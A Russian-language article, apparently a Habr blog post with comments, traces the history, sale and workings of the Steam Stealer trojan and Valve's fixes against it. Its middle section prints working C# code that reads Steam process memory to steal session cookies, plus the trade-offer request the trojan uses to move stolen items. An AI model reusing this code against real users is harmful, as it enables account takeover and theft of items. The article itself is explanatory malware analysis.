Steam Stealer или троян, крадущий вещи в Steam. История появления и схема работы

Написать статью побудила публикация «Троян, ворующий предметы из инвентаря Steam».
Моя статья содержит:
1) Историю появления и распространения в рунете;
2) Историю борьбы «Стима» с данным зловредом;
3) За счёт чего мошенники получают прибыль?
4) Что делают в стиме в связи с этими мошенничествами?
В статье нет полного исходного кода или ссылок, где можно его достать/купить. Кому интересно — добро пожаловать под кат.

История появления и распространения в рунете


Кто был первоначальным автором данного трояна — неизвестно, первые упоминания появились в Америке в начале этого года. В рунете же данный троян появился и начал активно распространяться только в середине-конце лета.

Программа и исходник появились в начале августа на одном популярном «читерском» портале. Два друга нашли собранный и накрытый троян, заметили, что он написан на C# и сумели вытянуть довольно запутанный, но рабочий исходный код. Далее был собран билдер и выложен на портал, через некоторое время был выложен и переписанный в человеческий вид и исходник. Начиная с этого момента упоминания о нём можно было найти везде. Только на очень ленивом и малоактивном форуме нельзя было найти если не копию рабочего исходника, то человека, продающего готовый «билд».

Общая схема работы:


Из процесса «Стима» регуляркой выдираются две cookie-записи SteamLogin и SteamLoginSecure:

WinApis.SYSTEM_INFO sYSTEM_INFO = default(WinApis.SYSTEM_INFO);
		while (sYSTEM_INFO.minimumApplicationAddress.ToInt32() == 0)
		{
			WinApis.GetSystemInfo(out sYSTEM_INFO);
		}
		IntPtr minimumApplicationAddress = sYSTEM_INFO.minimumApplicationAddress;
		long num = (long)minimumApplicationAddress.ToInt32();
		List<string> list = new List<string>();
		Process[] array = array = Process.GetProcessesByName("steam");
		Process process = null;
		for (int i = 0; i < array.Length; i++)
		{
			try
			{
				foreach (ProcessModule processModule in array[i].Modules)
				{
					if (processModule.FileName.EndsWith("steamclient.dll"))
					{
						process = array[i];
						break;
					}
				}
			}
			catch
			{
			}
		}
		if (process != null)
		{
			IntPtr handle = WinApis.OpenProcess(1040u, false, process.Id);
			WinApis.PROCESS_QUERY_INFORMATION pROCESS_QUERY_INFORMATION = default(WinApis.PROCESS_QUERY_INFORMATION);
			IntPtr intPtr = new IntPtr(0);
			while (WinApis.VirtualQueryEx(handle, minimumApplicationAddress, out pROCESS_QUERY_INFORMATION, 28u) != 0)
			{
				if (pROCESS_QUERY_INFORMATION.Protect == 4u && pROCESS_QUERY_INFORMATION.State == 4096u)
				{
					byte[] array2 = new byte[pROCESS_QUERY_INFORMATION.RegionSize];
					WinApis.ReadProcessMemory(handle, pROCESS_QUERY_INFORMATION.BaseAdress, array2, pROCESS_QUERY_INFORMATION.RegionSize, out intPtr);
					string @string = Encoding.UTF8.GetString(array2);
					MatchCollection matchCollection = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(@string);
					if (matchCollection.Count > 0)
					{
						foreach (Match match in matchCollection)
						{
							if (!list.Contains(match.Value))
							{
								list.Add(match.Value);
							}
						}
					}
				}
				num += (long)((ulong)pROCESS_QUERY_INFORMATION.RegionSize);
				if (num >= 2147483647L)
				{
					break;
				}
				minimumApplicationAddress = new IntPtr(num);
			}
			this.ParsedSteamCookies = list;
		}
	}

Дальше полученные данные подставляются в веб-запрос, который отправляется на сервер и получается сессия, ну и авторизация. После этого у программы теоретически есть полный доступ ко всем функциям клиента Steam. Получение списка итемов и отправка трейд-оффера была описана в предыдущей статье (код приведенный в той статье для отправки оффера — не рабочий).

История борьбы стима с данным зловредом


С августа Steam предпринимал уже две попытки борьбы с данным трояном. Хотя вторую сложно назвать реальной борьбой, скорее это был побочный эффект какого-то апдейта.

Фикс первый. Начало сентября

Как я уже упоминал выше, из клиента парсится 2 куки, но для отправки оффера (предложение обмена вещами с злоумышленником) достаточно было одной из них (SteamLoginSecure). Фикс от Steam заключался в том, что теперь нужны были обе. Как вы сами понимаете, «проблема» в работе стилера была найдена меньше чем за сутки всё теми же умельцами. Ну а еще через пару дней уже новое действующее лицо (не я) выложило исправленный исходный код в общий доступ.(впрочем, он сейчас сильно ругает этот свой поступок).

Фикс второй. 17 ноября

Честно говоря, не известно зачем, но Steam решили добавить 1 параметр в запрос на отправку оффера:

private string sentItems(string sessionID, string items, string[] Offer, string message = "")
	{
		return SteamHttp.SteamWebRequest(this.cookiesContainer, "tradeoffer/new/send", string.Concat(new string[]
		{
			"sessionid=",
			sessionID,
			"&partner=",
			Offer[0],
            "&serverid=1",
			"&tradeoffermessage=",
			Uri.EscapeDataString(message),
			"&json_tradeoffer=",
			Uri.EscapeDataString(string.Format("{5}\"newversion\":true,\"version\":2,\"me\":{5}\"assets\":[{3}],\"currency\":[],\"ready\":false{6},\"them\":{5}\"assets\":[],\"currency\":[],\"ready\":false{6}{6}", new object[]
			{
				sessionID,
				Offer[0],
				message,
				items,
				Offer[2],
				"{",
				"}"
			})),
			"&trade_offer_create_params=",
			Uri.EscapeDataString(string.Format("{0}\"trade_offer_access_token\":\"{2}\"{1}", "{", "}", Offer[2]))
		}), "tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]);
	}

А конкретно — параметр «serverid=1». Зачем он нужен и для чего его добавили надо спрашивать у разработчиков «Стима», но других запросов где он мог бы использовался я не находил.

Хотя обьяснить «ленивые» фиксы от стима довольно просто.

За счёт чего мошенники (и стим!) получают прибыль?


Все игровые ценности, которые получают мошенники, продают по сниженной цене на торговой площадке. Тут я хочу напомнить, что Steam получает 5% со всех операций на торговой площадке. И 10% получает разработчик игры, айтем которой был продан. Учитывая, что разработчиком самых популярных игр с итемами и сервиса Steam является компания Valve, вполне логично, что они не будут особо торопиться с фиксом, получая еще 15% с каждого проданного итема.

Дальше мошенники разными способами уже выводят деньги из «Стима». Так как напрямую это сделать нельзя, они используют для продажи ценности самого сервиса Steam. Например, ключи или игры (насколько мне известно, они получают примерно 50-65 центов с доллара).

Что делают в Steam в связи с этими мошенничествами?


На блокировку аккаунта (а вернее на блокировку операций покупки/продажи/обмена), на который скидываются вещи, у Steam уходит до 7 дней. За это время злоумышленники чаще всего успевают избавиться от полученных итемов и вывести средства с аккаунта. Если аккаунт блокирован, с него уже ничего нельзя вывести. Максимум — играть в те игры, что на нём.
Надо сказать, что в «Стиме» есть практика возврата украденных вещей, если они не были проданы на торговой площадке. Но, допустим, с российской поддержкой на это ушел месяц:

image

Эпилог


Сам распространением не занимался. Вся информация взята от людей, которые занимаются разработкой или распространением. Цены на данный софт вполне либеральные: 500-1000р за программку, в которую вшит аккаунт. Исходник от 3.5к рублей и выше — в зависимости от того, покупается ли этот исходник у разработчика или у школьника, который его купил и теперь перепродаёт. В данный момент знаю о примерно 4х разных разработчиках. Впрочем, между собой их продукты практически ничем не отличаются.

Ну и напоследок. Лучшие антивирусы на данный момент по определению таких программ — это Avira, Kaspersky, Eset Nod32. Они определяют свежие и довольно прилично обфусцированные/накрытые версии трояна, впрочем, не всегда. Остальные реагируют довольно долго. Даже простая обфускация .Net приложения смущает большинство антивирусов.
Поделиться публикацией
Ой, у вас баннер убежал!

Ну. И что?
Реклама
Комментарии 14
    +11
    «Лучшие антивирусы на данный момент по определению таких программ...»
    Лучший антивирус от таких программ — здравый смысл. Надо всего лишь не открывать непонятные аттачи.
      0
      мне кажется тут проблема шире. Дело в том что не все знают какие аттачи могут выполнить произвольный код или нет. Например тот троян был в формате *.scr. Не каждый человек вспомнит/знает что это такой же выполняемый файл.
        +1
        Плюс обычно кидается не файл напрямую, а ссылка вида: screenshooter.com/img/screen123.jpg а вот закачка идёт уже файла .scr
        +1
        Это понятно, я сам 5 лет без антивируса и пока ничего не ловил, но тут в другом дело.
        Не каждый например сможет обьяснить сыну/племяннику что «чит для CS:GO» это не чит, а троян, просто потому что он будет НАДЕЯТЬСЯ что это именно чит и попробует его открыть.
        То же самое с обладателями антивируса. Они думают что защищены раз у них стоит антивирус, а на деле он пропускает всё подряд.
          0
          Я бы сказал — грамотность. Техническая. Но ее нельзя привить за разумные сроки, скажем, ребенку. Моя сестра постоянное такое ловит напару с родителями, обвиняя меня, что я их не хочу научить, как этого избежать.
            0
            В голове должен сидеть просто внутренний параноик с 6 и 7 чувством)
          0
          Именно поэтому я не занимаюсь трейдингом ради шмоток, а просто покупаю что мне нужно. И ссылки от левых людей с «инвентарями» открывать не нужно.

          Всем добра.

          P.S. Надо бы чекнуть маркет на наличие дешевых AK|Vulcan, M4A1-S Cyrex и Asimov-приводов (хотя бы P90). :D
            +1
            Для трейтинга шмотками есть специальные удобные сервисы + предложения на обмен в самом стиме.
            Кто вообще повелся на «скриншот инвентаря», я не понимаю.
              0
              кто кто, юные геймеры.
                +1
                Ну они должны страдать, да =)
                +1
                В основном со «специальных удобных сервисов» и собираются списки аккаунтов с целью рассылки таких троянов. Как минимум одному моему знакомому боты в личку писали ровно как только он разместит объявление на таком ресурсе.
                  0
                  Не знаю, не знаю, ко мне недавно непонятные аккаунты пачками добавляться хотели только.
                  Но зачем добавлять тех, кого не знаешь?..
              –1
              я перешел по ссылке через Google Chrome и ничего не скачивалось, а какой то вирус встроился в браузер. Ссылку запостили на форуме steam
              вещи не украли наверно только потому, что стоял антивирус
              i.imgur.com/gQNSLYI.jpg
              i.imgur.com/5t4XRuN.jpg?1
              хотя может к краже вещей этот вирус не имеет отношения, я не разбираюсь в этом
                0
                Да, судя по всему именно он. Накрыт ConfuserEx. Оригинальное название файла User.exe.
                Вещи не укрались потому, что вы не запустили файл.

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое